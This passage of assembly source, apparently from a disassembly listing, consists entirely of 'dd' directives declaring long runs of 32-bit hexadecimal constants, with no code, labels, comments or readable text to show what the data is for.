		dd 5AD00134h, 413FF306h, 0FA5DE443h, 0BC528E0Eh, 0E98A00D3h
		dd 0C0F0C8h, 0D5DFEA77h, 0CE6A6A7h, 6AAF2300h, 5F1F21E5h
		dd 0AC770081h, 0A84F9E8Bh, 0D00A3EEh, 0D4BF9091h, 26570Ah
		dd 8F0E024Dh, 3F345668h, 240D8500h, 0F223B26Bh,	19DE05B4h
		dd 0C0F8DC31h, 3734F5B5h, 0E1532500h, 24CC2132h, 0EC70085h
		dd 0F6399EFFh, 6600CA47h, 57FBCEB2h, 340D951h, 139D2F8Ch
		dd 0BED031EFh, 5602BD0Dh, 0C27BE5C8h, 8501Eh, 0E06BC39Fh
		dd 0BA88C0FAh, 61786E00h, 9CADD243h, 0F66FF829h, 675F2EA2h
		dd 82D3012Ch, 0FC24BDFDh, 0B71E29E5h, 0F14030D5h, 1865971Bh
		dd 701D5823h, 937A0DC0h, 471F8139h, 3D43033Ch, 0B8A6DD67h
		dd 3B5BC6Dh, 1A7B72FBh,	3950348Bh, 6112D540h, 8900DCC2h
		dd 137EC702h, 50E90022h, 2543D83Ah, 4498D5FEh, 0B5161D02h
		dd 0E0D03F95h, 2F6A4h, 9F9B631h, 0F730B14h, 47860B8h, 3799BA00h
		dd 0E6A53CA2h, 7E392C7Ch, 0DF9660C8h, 3305FD9Ch, 0EBD9EC8Bh
		dd 7B2D4C0h, 1F2E8h, 32D08410h,	5A98E185h, 28687300h, 5D4B143Ah
		dd 19C700D5h, 0F7B46016h, 0C002C53h, 0FA729E21h, 149B93h
		dd 1CCBE6AEh, 0EA754BECh, 8738F100h, 0DE598F4Ch, 0BD8D00B5h
		dd 0C5A63D5Ch, 0E0E5FE5h, 336665D0h, 3FC3981Fh,	0B8F40A3Ch
		dd 3A6F8Ah, 0FDABF816h,	0D47D6063h, 0EC6C2B00h,	56A1A97Fh
		dd 0C6B90F4Ch, 0FDA00D77h, 28D3FB89h, 9CD58F01h, 379AC757h
		dd 432C0E0h, 0AD87684Bh, 3A04C3F0h, 0A76A64E8h,	50767D01h
		dd 46264ADCh, 7710F0h, 39AF40C8h, 587133CFh, 42D43Dh, 4E57BA4Fh
		dd 1EC9A860h, 0DFEA95E7h, 926340C3h, 1742C70Ah,	0FD002E77h
		dd 1A2CEEC6h, 825FF3h, 657D59F4h, 6EB650B1h, 98CF4300h
		dd 2E0A2FE4h, 7E720040h, 0B0BD211Eh, 0E100E0A2h, 0F8AF950h
		dd 58C44131h, 0FC0337D3h, 0E8AAA3DBh, 0A8694BC0h, 0F3E9F402h
		dd 622AAB79h, 219C400Ch, 0C6E8E941h, 2CA4A029h,	0C1D20030h
		dd 623F1951h, 0A300E677h, 4FED1AB2h, 719FFCF4h,	0EE70038h
		dd 0A4408360h, 6A004DCDh, 0D86C5822h, 1FC0BD4h,	0F631259Eh
		dd 0E0088191h, 46ECCCA8h, 0D1204803h, 0B8D65D1Ah, 7DC3279h
		dd 0F6AE9AAh, 0F95810D3h, 53011CB0h, 2CA015C0h,	28605138h
		dd 8C0B1C72h, 8503C0EFh, 1A4A3D58h, 0E94E3900h,	1066206Eh
		dd 7F5B0030h, 0CE9287AFh, 400FF40Bh, 4C113A47h,	11F98BFh
		dd 0B52503F2h, 0E8A8D7F6h, 0E5305C20h, 0BF80A867h, 4E2E0047h
		dd 0A1DE30A4h, 0F57DD69Dh, 6034D55Ch, 0BEBD4288h, 3C4A5901h
		dd 30EB0F00h, 0C592A134h, 8E9B1901h, 0DF547851h, 0F41F2080h
		dd 7534F1BAh, 7AB0903h,	58378304h, 2B00147Ch, 0E5367AB3h
		dd 8F051C64h, 8A13B14Ah, 0F39B1880h, 5F78005Dh,	20A37BA6h
		dd 6800FCD2h, 93E9EF73h, 4CDFBAh, 354103E7h, 940E5ECFh
		dd 27912118h, 3E0514h, 1DCBA697h, 73C4BB3Fh, 0C8A57A30h
		dd 0B076137Bh, 10630050h, 93F071E9h, 0BC7A8D82h, 500F0201h
		dd 0E24AAAD8h, 2C7FF6F4h, 8FCB06h, 0D7A868FDh, 267A55F1h
		dd 4DE8FC60h, 58D649B1h, 0E2008806h, 3622FF5Ch,	89005748h
		dd 0BBEF269Ah, 38A314D4h, 0F9002C07h, 41911A80h, 0FA1FE368h
		dd 7C41A066h, 5D988E76h, 84FA30h, 27698756h, 858D4F32h
		dd 3700EE78h, 0DD4075BCh, 0F04AEF3Ah, 527E0018h, 10283E6Ah
		dd 0B403F9F4h, 8B8E714Bh, 51BFF8D7h, 0A2B1F61h,	241705A6h
		dd 0C0D91D09h, 0D1F3CA01h, 0ABFE8E81h, 0E8F03101h, 941F3E2Ch
		dd 6C8BD0h, 0B9B6EFAh, 0B65771C2h, 0C409E203h, 0A2E81A8Ah
		dd 0B1C84070h, 0EE3900DBh, 0E21119B3h, 0B4A3D810h, 0B67701EFh
		dd 8357CC8Ch, 37E3BA00h, 1DC6A619h, 0B49C9Ch, 458F68F6h
		dd 0FF00C52Eh, 0AA33531Eh, 8D6490h, 0AFDA40D4h,	0F0FDAD19h
		dd 1BFEC507h, 0A5405E7Ch, 0E614F75Bh, 0DB110088h, 8FEF9538h
		dd 0E8071013h, 0E47B94EBh, 0F7218670h, 2E3005Eh, 0CAB9C9EFh
		dd 5B04771Dh, 24710109h, 36A43881h, 0C60E0h, 0FBBA9F46h
		dd 6CB72AD8h, 0CC25BE00h, 5297A6F6h, 72E50571h,	88447919h
		dd 0D005150h, 0E6CF069Bh, 0D284D1h, 9FB1B340h, 0BB6223BFh
		dd 78213500h, 0F99A2459h, 0DB930EE8h, 74217C71h, 306D6838h
		dd 90042E1h, 228565F4h,	7CBE4A48h, 7F37000Eh, 0F39DBBA3h
		dd 2D0ED687h, 69A902h, 0EDE8D11Bh, 86930056h, 66773DFCh
		dd 2800250Dh, 2CCD9A73h, 0EB3AF2F3h, 0FEC9D60h,	0CC8950C0h
		dd 6801C82Eh, 405B22E4h, 6510ABC6h, 0C7B13000h,	0DD3E0901h
		dd 21F03FD5h, 8315771Ch, 2E33D828h, 0E4A11DF0h,	89597007h
		dd 91A0443Eh, 8DA30Ah, 0E71E1325h, 0E697EDDCh, 37C3100h
		dd 35058CE9h, 6D0C1D86h, 385400E4h, 1774CA89h, 44A3490Bh
		dd 0D430809Eh, 0E6BA3Ch, 0A5D01B35h, 0F439FECFh, 8928AA0Eh
		dd 47F2A08Ah, 5E38E5h, 64DF7EDCh, 0D5BD7C46h, 74616A03h
		dd 985A3E1Fh, 6B4983h, 0A90BA331h, 21F94340h, 0BBE58401h
		dd 0D9384869h, 537EB8F3h, 98E0B62h, 2060295Ch, 2E00509Ch
		dd 0A3D710E0h, 0EF7988h, 578155ADh, 0D13575B8h,	99AC6807h
		dd 3E6777C1h, 199D6AD0h, 0FEE600CAh, 49344F35h,	2A1FDD65h
		dd 8F1E6DD2h, 5C54B0C0h, 0D6C941h, 731145A3h, 0CFF0DD0Ah
		dd 870B1000h, 2D21FF6Ch, 7D4148C7h, 0FEE1FA79h,	8EF493h
		dd 0CD4B5294h, 0FAAF454Fh, 0A51F3F78h, 0C14FEE28h, 0DE3CA04Ch
		dd 1D6A4767h, 40276023h, 3FA6205Fh, 0FB00B9D2h,	577B9D92h
		dd 17F80CDBh, 0FEC7F7h,	0B36ACE85h, 0F400296Dh,	0D3B2A976h
		dd 9037716Fh, 0F23C0045h, 0ED94B5B1h, 0F3014592h, 0DE1C5D85h
		dd 14606817h, 0B5FE3D79h, 0DB2ED03h, 6EF81481h,	0C800D408h
		dd 83E63B2Ch, 956944h, 41783635h, 2009A222h, 0D124FA00h
		dd 0A39C0A7Ah, 564A0753h, 50368960h, 5D62F0F7h,	52C0E100h
		dd 1702E676h, 0A91D002Bh, 6761644Fh, 0A700C440h, 0BC244A4Ch
		dd 16373Ch, 0FCCFAEE3h,	32330793h, 0F610CA01h, 492D1CD8h
		dd 2EE78060h, 0D7ECFFh,	0A72F6D8Dh, 40425DCh, 6C352768h
		dd 51932280h, 5210033h,	0BAFFFCC3h, 0F9006047h,	425DA617h
		dd 7CEAD5Fh, 0B309B13Ch, 391CE044h, 0D17928E3h,	36005978h
		dd 0C0261757h, 624EF2h,	95C2BDB8h, 2B785FC6h, 8E79A200h
		dd 0E8FE07AFh, 929D0016h, 3A433652h, 4700665Ah,	4F5EED8Ch
		dd 11E982Ah, 0A9A0E4C9h, 7D2F1F2Dh, 8CA40028h, 8DEB9870h
		dd 0BA710382h, 0CCED5608h, 0FDD234D0h, 17134D00h, 211A7EFFh
		dd 879318D6h, 548051E5h, 0F0062F71h, 0C2926045h, 775E0026h
		dd 0F5979A81h, 9C00E91Ch, 1442B1E0h, 3445815h, 0BAC38887h
		dd 0DAB1CFABh, 23F8EF83h, 6100F8C6h, 0AEF41AD6h, 3AC1971h
		dd 0FAE6F505h, 80E77CE3h, 0ABE7CAADh, 2072DA30h, 0C713D5h
		dd 556B652Ch, 66F1E83Bh, 0E569F300h, 0A14F9FCDh, 0CE0B008Ah
		dd 47230127h, 6C00D2FCh, 0FFE2DA31h, 18D9C014h,	1094EC8Ah
		dd 1500C383h, 931C6386h, 0FAA8548Dh, 0E1080087h, 0F27DEF0Ch
		dd 0EC021684h, 0A666D73h, 6A8CA081h, 1C029CEh
		dd 2FC707CFh, 0F0168695h, 0E900F727h, 0C59605C6h, 3BB76402h
		dd 0A580BA5Bh, 0CA18A32Bh, 0C3005C9Bh, 0C5966D0h, 74521Fh
		dd 0D4444AB9h, 0FF168E92h, 80D32B39h, 0DDA3A4C5h, 0EF0B448h
		dd 0ACD37F7h, 39B6FDA0h, 0B700C157h, 94BE08Dh, 6ED47Bh
		dd 0CEC43776h, 0A710A987h, 88E2A8FCh, 0C7067800h, 5DD91E68h
		dd 0B25E0311h, 4ADA18Eh, 0C5C41480h, 0BC36E400h, 9830F4C3h
		dd 8074014Eh, 9A46E9DEh, 0F13AD8A5h, 0F95FF600h, 0D06CAE05h
		dd 0B76900E6h, 0F47B9026h, 0D33F3EE8h, 3ABD009Bh, 56605472h
		dd 3FF675C8h, 0EA805DB6h, 12B071C0h, 7B002F0Ch,	5AAD8C1Dh
		dd 36A738h, 0C0342C4Ch,	0BFD5DB25h, 3200D6F8h, 4DA512CCh
		dd 5EF8BFDh, 6DC5E9FFh,	3EA0C03Dh, 301C7869h, 0BD8EC78Ch
		dd 4D430013h, 3111BBCh,	5FCF059Dh, 3103ED5Eh, 3B4B76C6h
		dd 608998C2h, 2BE80082h, 0EF0132BFh, 3D00F0E1h,	4CA62350h
		dd 7FA8DFh, 94D56E81h, 1DF875F7h, 83991300h, 61FF2AF4h
		dd 1EDA00C0h, 8062BFA0h, 20764C1h, 0C79B2D14h, 32356BB0h
		dd 0C5D1000Eh, 7571FAC8h, 0FF3BF33Fh, 44280E54h, 3BA0A0C9h
		dd 0ED7992h, 90983D40h,	0C74D84D4h, 0D89F4926h,	0F7830800h
		dd 0E96553h, 903178FBh,	6952B7D7h, 93E00B00h, 0C31D9D22h
		dd 7BD7981h, 0F2766F14h, 1AAB03Dh, 123AA503h, 604E0151h
		dd 58C015EAh, 4F86D029h, 848066B5h, 8807BB0Dh, 2239BDA4h
		dd 0DA7C4010h, 555B0034h, 97D30EABh, 0AE3ED286h, 7A8C00FBh
		dd 0F423E032h, 7E450091h, 0BF2EA7D6h, 0D5169BE4h, 14808AC6h
		dd 1436021h, 663E5FF5h,	407D01FDh, 0E263E6A4h, 4EE39700h
		dd 0DBA25630h, 819000CCh, 0D7BF3988h, 0B3001FB9h, 0D1E284BCh
		dd 1771BDDCh, 8EF02Dh, 0D0A3178Fh, 0FEF2A4EEh, 0CC079200h
		dd 70462835h, 90F400AAh, 0B12BD8A2h, 1E3F052Ah,	6567079Eh
		dd 3F406A56h, 0B3A326h,	645052E2h, 0A5BF2058h, 845CDF00h
		dd 1F5641BCh, 0DC311C33h, 8260012h, 4C78B16h, 0C006D71Ch
		dd 0AF5D0CC0h, 67070Bh,	7D26DA32h, 0E64F79EBh, 0AEF9AD00h
		dd 0D23E1373h, 0BDF100FEh, 3B4A4301h, 370062EEh, 0D1EBC4D0h
		dd 19B4CA9h, 0BFE1046Ch, 0ECC021F3h, 5E00E00Fh,	0A1A6902Bh
		dd 15C284h, 89A23BFEh, 0A6BDEC6h, 70D749h, 0BE2F0FB9h
		dd 0F1FD61h, 0A2F70925h, 0D8FFC170h, 9EEED407h,	4560E1C5h
		dd 1093E91h, 0F8A3C62Ch, 0CD046E7Bh, 0CE02CDCh,	79DFFCAFh
		dd 0C6C90098h, 184493D2h, 0B890BF49h, 0CA6C5303h, 0D0ABB3F9h
		dd 1516BD9h, 0D33D2843h, 0D0181BD2h, 7C484FCFh,	850079AAh
		dd 6B4B73Fh, 0E15967h, 0F2C87899h, 0ACBD7FEAh, 5C690A0Ch
		dd 1EFBC83Ch, 8E33C482h, 523DAAFFh, 1D544035h, 0C56A8C64h
		dd 0F3C6A000h, 0C017B610h, 83BA0F7Bh, 8020C448h, 4DE3B2E5h
		dd 0B843Bh, 91469DF1h, 18FB18BAh, 1209C141h, 5A03503Ch
		dd 2D8E0B19h, 5C6BEA01h, 177741D0h, 0CE20FCFDh,	0BC0AA000h
		dd 0DDBEB642h, 0DB68078Ch, 106EC61Ch, 0CB2D24B1h, 7E7AE106h
		dd 28B852h, 0C75525CDh,	0C2037629h, 0F5210F03h,	3CA7AE68h
		dd 0A001CE4h, 0A0EEE6ABh, 757F9C81h, 0F300ECEEh, 46C13150h
		dd 720960h, 973D94FCh, 95FB79DAh, 0AA149A00h, 0D680F5ECh
		dd 0A8D3005Bh, 68962085h, 1A057B74h, 0E67D511Fh, 67812180h
		dd 0D2690004h, 2BABFB73h, 5925D521h, 0F89C68EBh, 2495B065h
		dd 0E8528h, 64E46A2Ch, 0B800A2DEh, 0D25CA9FAh, 8726A3h
		dd 0BF2FCE98h, 8536CCB5h, 0E943B600h, 0B49235B8h, 58A7F242h
		dd 2008E5Ch, 0D43D36BFh, 26008274h, 0AFFFDFA2h,	1F01DCB2h
		dd 40373406h, 0FAC1B451h, 0D90033C5h, 7B696C8h,	3FFF1F2h
		dd 0AD2FB057h, 2CD802A9h, 3A4CDD19h, 372600E0h,	0E05E12EAh
		dd 0EB8700A4h, 547C8069h, 0CC3E7082h, 37D10378h, 984BEFDEh
		dd 2A7A30h, 630A80A7h, 827287F3h, 2DB80300h, 24525A8Eh
		dd 1A7971h, 8B059B76h, 0A9A1577Eh, 2CEFA000h, 0A645F37Dh
		dd 0B65E00D5h, 0C2CEB8F9h, 0E8000F33h, 7F28C49Eh, 36BE11h
		dd 0D38AB9C6h, 825765C8h, 5551400h, 0F95C0B10h,	0B5B8000Dh
		dd 1FD299F8h, 8F00CB41h, 0C647EF29h, 0EDC1DCh, 0CA340B13h
		dd 917BF7E6h, 57A31B00h, 16D2D47Ch, 0F82000FCh,	9F8A85E1h
		dd 0C27CDC61h, 0C1AD1A01h, 0D3A0B79h, 388CCE60h, 1500D9FFh
		dd 9B714B03h, 0B8046345h, 3C703BDAh, 113651C0h,	0DBD83884h
		dd 0C05C0980h, 56BF781Ch, 3A93AE00h, 0BAC2425Dh, 0CD7C0036h
		dd 8D63E59Ah, 62007E2Dh, 1F78A46Bh, 5FB26E6Fh, 0F02EB0DDh
		dd 4BF21E67h, 70FB361h,	2F910E8h, 0EF12754Fh, 0C3E01CB5h
		dd 8F1FAD01h, 0CE808B65h, 8ED3516Ah, 0F1EE1F11h, 13A480C8h
		dd 0E7A189FFh, 0BBA37300h, 0E4B14070h, 67790034h, 315A9661h
		dd 450003B0h, 0B4BA49C8h, 0E13440Ch, 0BC52A980h, 6A701040h
		dd 0E01849Bh, 0A5CDE9BEh, 96DCC17Bh, 0D5AE00D0h, 0EF64EA8Ch
		dd 0B600FC6Fh, 44ED8E4Dh, 3AD7FA9h, 0D9834E81h,	9AB85C75h
		dd 0C50058C1h, 0FC462C5Eh, 0B2022D8h, 98C6B988h, 0A607C400h
		dd 4F6D0E4h, 3BAA9A00h,	40892805h, 127C00E0h, 4BACD4C1h
		dd 0FCF995F5h, 3A0E34CDh, 4BA770F7h, 71E5E86h, 0F04F127Dh
		dd 0C74799F2h, 8B9FC500h, 739153CDh, 0BE6600ADh, 0C477C658h
		dd 49000FF3h, 7648BF04h, 0E72EB6h, 0E0708C4Ch, 0ED82D302h
		dd 423CCB00h, 64391FB8h, 0DD5E009Eh, 0EB0B2387h, 0D801AF7Fh
		dd 0B8CAB16Ah, 8D43F4Ah, 0A110073h, 0BF541C37h,	5A07170Eh
		dd 681A4BFDh, 947E8A20h, 3F09005Dh, 7C830759h, 0C406C670h
		dd 468CF079h, 0AD8516B2h, 66A30229h, 2E05A82h, 780ED03Fh
		dd 20B0739Eh, 6E79C025h, 0AC9900BBh, 0F3502FF4h, 31609CF6h
		dd 67D2E780h, 8F5C0030h, 0C3794578h, 9800D60Bh,	0EDF57E8Eh
		dd 641682Ah, 1F0C3A64h,	2B003996h, 24794671h, 73C755Bh
		dd 9E435B7h, 0DD6B41E9h, 23A0EF74h, 6101E2D5h, 91F1B783h
		dd 0C06A2FC7h, 375367Ch, 3A636B00h, 0FC058111h,	508B0002h
		dd 0B0D5F9EBh, 0E8747F33h, 5F143700h, 95928CB8h, 7696051Eh
		dd 442A129Dh, 80BD2920h, 0BA855E32h, 19B5E730h,	65A57h
		dd 79620A18h, 7A999D68h, 0C2979B00h, 0A0B36598h, 30798Eh
		dd 8662F9C3h, 96665931h, 0F4731E00h, 0E4A45554h, 9ECC0005h
		dd 2063CD83h, 99009FC0h, 2DCB3B2Fh, 0C92625h, 1E7E6FAAh
		dd 5D2E4470h, 5DA5802h,	0E0608A3Fh, 2A4061h, 817D9901h
		dd 68DB6BB4h, 36CAD900h, 3A45ED8Ah, 306203FFh, 0EF101FD1h
		dd 0F57BDD98h, 0C8D6D200h, 35A9D793h, 0CFF71DB6h, 0EDD1804Bh
		dd 0B8846DC9h, 0C5019677h, 6809AB67h, 74C1E52Ah, 0CE608047h
		dd 3E5F1CB0h, 56056488h, 40E61765h, 974A11E8h, 141F3FC0h
		dd 0D2C04E69h, 0E81E375h, 0F8F8A062h, 0BA680071h, 0D9F2CFD8h
		dd 7900253Fh, 0E2DBD2B7h, 1FB87B39h, 0CF7EBDEAh, 7540A361h
		dd 673A256Eh, 18803403h, 0C0B2736Bh, 0A317EABDh, 40A7F0C4h
		dd 0E5BE184Eh, 0B7711009h, 7EC3FC01h, 0AF667E4h, 60EAC1C8h
		dd 6C8321F2h, 0E9725C22h, 72F7A303h, 8CE7E464h,	80F0C20Ah
		dd 7E39023Ah, 2E00E685h, 95A90E0Dh, 5C934Ah, 921F5190h
		dd 7BD77EECh, 0ABC34C00h, 8975A17Fh, 0DBA03D4Bh, 9856B781h
		dd 0F0E3F9A3h, 0BF00C773h, 0B77395Eh, 0EE763168h, 0B47400F1h
		dd 0B90D292Ah, 0BE0044C7h, 0E412425h, 361175h, 3133534Eh
		dd 1CC27DF3h, 0E20C1E00h
		dd 5B0BB709h, 0AFE6005Ah, 0ECEA3BE7h, 620026FBh, 0DDAA4AA8h
		dd 1CFDB2Ch, 0C23D5069h, 0E010321Fh, 0F0EBECFEh, 4700A3BAh
		dd 55357868h, 6E7BCA63h, 0BC402C29h, 468460F1h,	87F90E03h
		dd 0F0A5C765h, 0C05663B2h, 69BB7024h, 0CE7FEFC2h, 0B41F9C1Ah
		dd 42DD8018h, 6A36F0h, 0FA28262Bh, 601A9CDAh, 0A8B8F70Ch
		dd 0A75294Dh, 0EF2A1843h, 0F91E01B9h, 0DC711778h, 0CFE8F08Fh
		dd 98D12F00h, 0DB82317Dh, 3E24Eh, 0B751085Fh, 5209DC2Eh
		dd 0BD45A812h, 56D15B00h, 0E21B69Ch, 161EC59h, 0C0338BE4h
		dd 42133C04h, 1E255500h, 0F9FE3EE1h, 5FD100DEh,	0AF09851h
		dd 0A44CF7E3h, 0EF2C00C1h, 0E8115B86h, 2F1E0017h, 0DE74C5D6h
		dd 56F44BDAh, 55B838C0h, 0B71CB2h, 0C5129B25h, 0B59679EFh
		dd 4A21FD1Eh, 6A0501FCh, 876B89E9h, 0FE0E4F0h, 7E3CA934h
		dd 1892FF20h, 0DF78C0C3h, 0A4492D0Fh, 0BB3E09h,	0F7E1A78Fh
		dd 547BF0h, 5A6330ABh, 0DFBA90F6h, 2400A578h, 0A717B278h
		dd 0BB2916h, 7A14113h, 40ABBE8Dh, 80F0A23Bh, 0BCE397E1h
		dd 3A0AF27h, 9CB9F53Eh,	0B3886FC8h, 7E0064A8h, 3A0C57F9h
		dd 0FAB609FAh, 397D0026h, 27FFB732h, 0D8002F6Dh, 14998AD3h
		dd 8BD94Eh, 24DEBD70h, 4B91DB90h, 0FA568200h, 530BC8F7h
		dd 0C176ABh, 0C3611E81h, 3070577Dh, 800083B8h, 1AB66507h
		dd 76B910Bh, 0B1D2DEE0h, 4F11B7DCh, 8ACA3220h, 3C1F7AE5h
		dd 12006C17h, 0C1332A41h, 0F9B800D6h, 0E53F821Fh, 3100E173h
		dd 4C441B9Dh, 0D31266h,	0A4846169h, 0C3B999BFh,	53439E06h
		dd 206D5Eh, 0F3449D3Bh,	1C4DF5EEh, 619A40Fh, 0F2D6A014h
		dd 0C0177747h, 0B8354128h, 6E1C9713h, 0D640ABD7h, 0C119087Fh
		dd 319800EFh, 0D5333BA3h, 6C014D1Bh, 69B74ED3h,	0D8E0DFC8h
		dd 2F6B83Ch, 224AA0A5h,	0A78096BAh, 1BC1B7E9h, 0DF997900h
		dd 40D97A56h, 0F06B3990h, 0E3288B8Ch, 380F016Ch, 806C3ABFh
		dd 3EB4584Bh, 0B0DDEAF4h, 0E4E20095h, 4D0D8679h, 2501BC54h
		dd 44982128h, 78E8D92Fh, 4C0603C9h, 0B2FB0E0Bh,	511F603Bh
		dd 7F5081B7h, 8F408E97h, 4BC1183h, 83D18D2Bh, 0A6C42056h
		dd 0BF172870h, 0AF008F96h, 0F21363D4h, 0A89230D2h, 444ED6B1h
		dd 0BE76C5FEh, 0BB941A00h, 5266DFA5h, 0D2A300B1h, 75993D64h
		dd 3500AAC1h, 694CC954h, 1E9CC095h, 0C04868ECh,	0AB9FBF5Eh
		dd 0F9033CEDh, 1E89A98Fh, 0A888D99Dh, 0A569D4h,	0F77BEF42h
		dd 0C153ABFDh, 23016D00h, 69830AA0h, 0DB3400F4h, 67DB6C4h
		dd 3C000B47h, 5F577A8Fh, 70876Ch, 0CC6B801Dh, 2183D9F5h
		dd 673B2D01h, 0A98E4689h, 0B9A1C8h, 0AE7A2647h,	4876AB98h
		dd 0DF53181Ch, 3FF04AC0h, 92B494h, 0A7FCADC2h, 0CC1A16C3h
		dd 0B060F790h, 0A4A0D618h, 0F9D30127h, 5F838CFAh, 6B81F08Bh
		dd 451F0D07h, 0A79E86F2h, 0BFC0956Ah, 3B212FACh, 1F74527Fh
		dd 80F5179Bh, 60AFEEDEh, 0B800D4B7h, 0C864B059h, 266DB322h
		dd 18B7C5CCh, 0D55B5843h, 0AD060718h, 25A680h, 0A2ACFD4Bh
		dd 104664B2h, 0FC1C3Ch,	73925B17h, 4C94CC9Bh, 80009F66h
		dd 0B68F5508h, 563A2150h, 17B580ABh, 0D513E81Ch, 0BEDF001Eh
		dd 0B99762BDh, 0E900EB6Bh, 70E335E7h, 0C01A1BF6h, 53514C20h
		dd 0F0090BBh, 259CF440h, 0F7B5A6h, 9A6EE026h, 7F1ED4F9h
		dd 8ED9E100h, 0CAAC02DEh, 6C380119h, 0A4862F6Bh, 9CE0EF94h
		dd 1C01470Ch, 0F8676DDFh, 0DD61347Fh, 0F4DD5080h, 0A126BED4h
		dd 10BB9130h, 60B9C46Bh, 0AB6205Eh, 821E039Ah, 73CFFF17h
		dd 0F6CBC0F7h, 9B772Dh,	0AFC96351h, 60D74DDDh, 0C8AB350Ch
		dd 43F2F0B4h, 53FC0110h, 0F79B69AAh, 0E40A40Ch,	53E23C7Eh
		dd 4E381700h, 46593F22h, 9D4C6D0Ch, 15F7A09h, 2023BC53h
		dd 831789F4h, 8C8D63D8h, 0E96EB8CFh, 4109006Ah,	0C24BB4BEh
		dd 321E9AA4h, 0E680A954h, 349E9DEAh, 33F607CCh,	9BA396DFh
		dd 0A529FE00h, 9C0042F8h, 0B7DA48D7h, 0F4715E9h, 0A3A071A9h
		dd 0C74F00DEh, 541EDCFEh, 0CC976C02h, 8A663799h, 3A58D8h
		dd 8350A6F7h, 7873AD1h,	54BA591Ah, 3158030Fh, 0E278D4B8h
		dd 0B2001FEAh, 0F43A3E2Ah, 2480F19Dh, 1F7D70F3h, 2FAE4F99h
		dd 0B699C00h, 0CE00645Dh, 0B91C9184h, 1969562h,	0D0F93A13h
		dd 0E1889E12h, 6174FCADh, 0E17D28C0h, 5662A6h, 9C0C4385h
		dd 22388E01h, 0F31AFF00h, 0DC90B8EFh, 471E1C78h, 8BD6A2h
		dd 0C73AFC6h, 12005EF7h, 4A34B4F8h, 498869h, 9899DA0Ah
		dd 0CBC8571Ah, 0D3CD7100h, 0F43CEB84h, 0D56701FAh, 4D991DAFh
		dd 0E1A9E4BEh, 5F646160h, 33C6EDFh, 0E945582Ch,	94A8FC08h
		dd 26006D7Bh, 0BE827CADh, 7A444Ah, 96FE6F8Dh, 63259D7Eh
		dd 32C9F100h, 0EF3B7BC5h, 0E1210C2Ch, 88DCD348h, 6E005CEEh
		dd 248F4C5Ah, 0E99351h,	6BC4765Fh, 0EDC2A9Ch, 3AD4A500h
		dd 483547D8h, 1DEA027Ah, 3494B924h, 0BB040AE0h,	571B8200h
		dd 55B14F78h, 769826A8h, 58D00ADh, 0D70EE6FCh, 0AC10BD00h
		dd 48F19C14h, 0A21303E7h, 1AF3C0B9h, 44AE9EA8h,	968C7600h
		dd 8DC735F7h, 0D2190006h, 0A9F3B463h, 0D53B37DBh, 2F5C80E8h
		dd 0D1C7648h, 541400B5h, 2DEF242Bh, 0F63AA9DFh,	0CB838004h
		dd 0DC688AA4h, 0C6FD03B8h, 12AE543Ch, 9579F7E0h, 0C3FBD400h
		dd 0F36C80E7h, 0C5E807A6h, 210FA4h, 0DB8B3BE9h,	48B805E6h
		dd 58C1B800h, 79D19B98h, 0A95600A7h, 0CC50B9DEh, 6B7D4643h
		dd 8690D012h, 4B03800h,	6DBF36h, 89F59C1h, 52C3745Dh, 1337E700h
		dd 0C9EA7DC2h, 801000D2h, 0D5E178B8h, 6300980Eh, 407524A9h
		dd 7D5129h, 5DAF5C49h, 0BB6B95D4h, 0B992E100h, 590CB3A7h
		dd 90CB860h, 67227B13h,	0DD54B580h, 3C00269Fh, 0A45EC570h
		dd 0E8F3F9ACh, 277003h,	16EE67D4h, 0D6CCDB13h, 802BCE3Bh
		dd 0E5F011B9h, 6ED3C8h,	373CDF96h, 3C4BEF9h, 0AC049702h
		dd 0E0CC2D90h, 78C87Fh,	11257013h, 0CB68F372h, 830312F6h
		dd 2F69BF44h, 656C827h,	0A5D400DEh, 0F081F168h,	8E00853Bh
		dd 16BDFC5Eh, 985A3Ah, 9A1913A8h, 0D9458C4Eh, 64888512h
		dd 416FB100h, 748362D1h, 0C57CA2h, 0CBE297F0h, 0A9090460h
		dd 47EBE800h, 0C544D686h, 0F493006Dh, 4DE3A466h, 7F009155h
		dd 0E7C0B19Bh, 5230A56h, 1C9218DBh, 6E8582F8h, 0D59E7C40h
		dd 0A9037C00h, 0A439EDC4h, 4A8D0132h, 0E9B8D86Fh, 237A601Bh
		dd 14E8F38h, 78A813FBh,	6BD44F66h, 93C7008Eh, 2F8159D9h
		dd 5600148Ah, 322874ECh, 76F92AC4h, 0A8CD00CFh,	0F55339F7h
		dd 0F2E0E97Ah, 9B00C3E0h, 1ADD9D23h, 3BF9EBAh, 0BCEAF11Bh
		dd 0A190097Ch, 9100CA54h, 20AF1A2Eh, 0D94669h, 0BA3599A5h
		dd 1F5925AAh, 674F8A00h, 0E2B0D509h, 0D9B40083h, 0C5A94DC6h
		dd 0B6015B4Ah, 43EB8D6Fh, 96C44CD3h, 5110258h, 7BFD324Eh
		dd 0DC553441h, 701C5FCh, 5DA290F1h, 642143E1h, 3004E0h
		dd 93D4B216h, 0BB3CEE87h, 5E0ADC00h, 0F27CE926h, 34CA046Fh
		dd 0C09DC03Bh, 5816D522h, 0BDC66600h, 0F3E7A852h, 64079D2h
		dd 22287136h, 0D500A609h, 83A27579h, 74E3554h, 32CF9A29h
		dd 8799E0FCh, 7800BF2Dh, 2009C8F2h, 3EF5FFh, 4A9E15ABh
		dd 7D0C68C6h, 8C72F77Fh, 0FC3D9073h, 362680DEh,	0F9DFF07Eh
		dd 88AA0071h, 53F28AE5h, 0E24A9313h, 5D0181FCh,	0D7828CA2h
		dd 0A498303Eh, 334CF300h, 8C992AAh, 0F9310069h,	3418A201h
		dd 3C00057Bh
		dd 9946DD19h, 14ACF07Ah, 0ECCA3B24h, 2BDD50h, 43ED8E73h
		dd 199A14E7h, 5AAEC00h,	258E587h, 63F9076Eh, 704528A7h
		dd 0E93CD4FDh, 0EA75AE00h, 27BEBC19h, 4E060005h, 0B58D6D12h
		dd 0B2006441h, 4DCD1A15h, 4AAD1Fh, 799EC20Ah, 6295A3C5h
		dd 0F79CDB01h, 27B08621h, 0ABF1C740h, 47F6000Ah, 0A3EB4F28h
		dd 1C0096B2h, 0BF7B6D76h, 0C3AC54h, 0D0DE9C9Ah,	0F30C3B44h
		dd 10B5700h, 7473FDCBh,	0FA5300CDh, 77313A08h, 9B7EF326h
		dd 48C67B00h, 0C92F54CAh, 0C0EBB07Fh, 61FBE682h, 1116BDE4h
		dd 6C008DFDh, 4380EF31h, 84671FBEh, 141DF823h, 5E704077h
